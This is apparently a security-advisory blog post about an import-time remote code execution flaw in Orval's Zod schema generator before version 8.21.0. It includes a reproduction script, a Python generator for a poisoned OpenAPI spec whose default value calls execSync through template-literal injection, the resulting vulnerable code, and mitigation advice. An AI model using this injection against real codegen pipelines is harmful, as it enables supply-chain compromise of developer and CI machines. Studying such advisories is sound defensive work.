Listen to this Post
Orval is a popular open-source tool that generates type-safe JavaScript clients in TypeScript from OpenAPI v3 and Swagger v2 specifications. Prior to version 8.21.0, a critical vulnerability existed in its Zod schema generation module. The flaw resides in the `formatDefaultValue` function within packages/zod/src/index.ts. This function processes default values from API specifications and improperly embeds them into the generated JavaScript code.
Specifically, when a schema default value contains JavaScript template literal syntax, such as `${…}` expressions or backticks, Orval fails to sanitize these inputs. It directly interpolates the attacker-controlled value into a module-level template literal within the output file, for example: export const …Default = \v${globalThis.ORVPWN()}w`;`. Because this interpolation occurs at the module level, any embedded JavaScript expression is evaluated immediately when the generated Zod schema module is imported. This import-time execution happens without any need for a function call or an HTTP request, making it a severe supply-chain risk.
An attacker can exploit this by crafting a malicious OpenAPI specification. If a developer or a CI/CD pipeline uses Orval to generate a client from this poisoned specification, the resulting Zod schema module will contain and execute the attacker’s code upon import. This code then runs with the full privileges of the importing environment, which could be a developer’s machine, a CI runner, or even a production server. The vulnerability impacts any application that imports a Zod schema module generated from an attacker-controlled or attacker-influenced OpenAPI description. The issue is fixed in Orval version 8.21.0, which implements proper escaping for all default values.
DailyCVE Form:
Platform: Orval
Version: < 8.21.0
Vulnerability: Import-Time RCE
Severity: Critical (CVSS 9.3)
Date: 2026-08-19
Prediction: Patch released in v8.21.0
What Undercode Say:
The vulnerability is triggered by unsafely interpolating user-controlled default values into JavaScript template literals. The following commands and code snippets demonstrate the issue:
1. Reproduce the Vulnerability (reproduce.sh)
This script generates a malicious OpenAPI specification and uses Orval to create the Zod schema, which, when imported, executes the attacker’s code.
!/bin/bash
Generate a malicious OpenAPI spec with a dangerous default value
python3 make_spec.py > malicious_spec.yaml
Run Orval to generate the Zod schema from the malicious spec
npx orval --input malicious_spec.yaml --output ./generated
Import the generated Zod schema, which triggers the code execution
node -e "require('./generated/zodSchema')"
2. Malicious OpenAPI Specification Generator (make_spec.py)
This Python script creates an OpenAPI specification where a parameter’s default value contains a JavaScript expression.
import json
import yaml
spec = {
"openapi": "3.0.0",
"info": {"": "Malicious API", "version": "1.0.0"},
"paths": {
"/test": {
"get": {
"parameters": [{
"name": "x",
"in": "query",
"schema": {"type": "string"},
The malicious default value containing a JS expression
"default": "v${globalThis.process.mainModule.require('child_process').execSync('touch /tmp/pwned')}w"
}],
"responses": {"200": {"description": "OK"}}
}
}
}
}
print(yaml.dump(spec))
3. The Unsafe Generated Code
Orval versions prior to 8.21.0 would emit the default value into a template literal without escaping, as shown below:
// Generated Zod schema (vulnerable)
export const xDefault = <code>v${globalThis.process.mainModule.require('child_process').execSync('touch /tmp/pwned')}w</code>;
Exploit: (Educational Purposes!)
To exploit this vulnerability, an attacker must supply a malicious OpenAPI specification to a victim using a vulnerable version of Orval. The attacker’s goal is to inject a JavaScript expression into a `default` field. The expression can be any valid JavaScript and will execute when the generated module is imported. For example, an attacker could embed code to exfiltrate environment variables, establish a reverse shell, or perform other malicious actions with the privileges of the importing process.
Protection:
The primary and most effective protection is to upgrade to Orval version 8.21.0 or later. This version includes a fix that properly escapes special characters in default values.
If an immediate upgrade is not possible, the following mitigations are recommended:
– Avoid using OpenAPI specifications that contain `${…}` expressions or backticks in default values.
– Sanitize or remove any suspicious default values from specifications before processing them with Orval.
– Never import generated Zod schema modules from untrusted or third-party OpenAPI specifications into a sensitive environment.
– Run the code generation process in a sandboxed or isolated environment with restricted privileges.
Impact:
Successful exploitation allows for Remote Code Execution (RCE) at import time. An attacker can execute arbitrary JavaScript with the full privileges of the process that imports the generated module. This can lead to:
– Full System Compromise: An attacker could gain control over a developer’s workstation or CI/CD server.
– Data Exfiltration: Sensitive information such as source code, API keys, and environment variables could be stolen.
– Supply Chain Attacks: Malicious code could be injected into the build pipeline, potentially affecting downstream artifacts and production deployments.
– Lateral Movement: From a compromised development environment, an attacker could move laterally within an internal network.
The risk is amplified because this vulnerability targets the developer workflow, making it less visible to traditional runtime security controls.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
